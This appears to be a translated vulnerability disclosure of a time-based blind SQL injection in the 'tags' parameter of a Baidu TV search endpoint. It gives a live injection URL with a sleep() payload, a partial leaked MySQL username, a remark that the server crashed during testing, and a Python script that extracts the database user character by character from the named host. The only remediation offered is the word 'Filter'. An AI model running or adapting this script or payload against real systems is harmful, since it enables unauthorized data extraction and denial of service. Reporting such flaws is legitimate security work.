MySQL injection of a sub-station in Baidu (with verification script)

MySQL injection of a sub-station in Baidu (with verification script)

MySQL injection of a sub-station in Baidu can cause DoS attacks. The verification script is attached.

Injection point:

http://tv.baidu.com/rest/2.0/ssport/searchVideo?pageno=0&tags=if(length(user())=20,sleep(1),0)

The tags parameter can be injected.

Guess user () and get:
Tvopen_w @ 10 .*

 

By the time you guessed 10, your MySQL Server had crashed and was no longer in depth.

#encoding=gbkimport httplibimport timeimport stringimport sysimport urllibheaders = {    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())user = ''for i in range(9,21):    for payload in payloads:        try:            conn = httplib.HTTPConnection('tv.baidu.com', timeout=5)            s = "if(ascii(mid(user(),%s,1))=%s,sleep(1),0)" % (i, ord(payload))            conn.request(method='GET',                         url='/rest/2.0/ssport/searchVideo?pageno=0&tags=' + s,                         headers = headers)            conn.getresponse().read()            conn.close()            print '.',        except Exception, e:            user += payload            sys.stdout.write('\r[In progress]' + user)            sys.stdout.flush()            breakprint '\n[Task done at %s]MySQL user is %s' % (    time.strftime('%H:%M:%S', time.localtime()),    user)

 

Solution:

Filter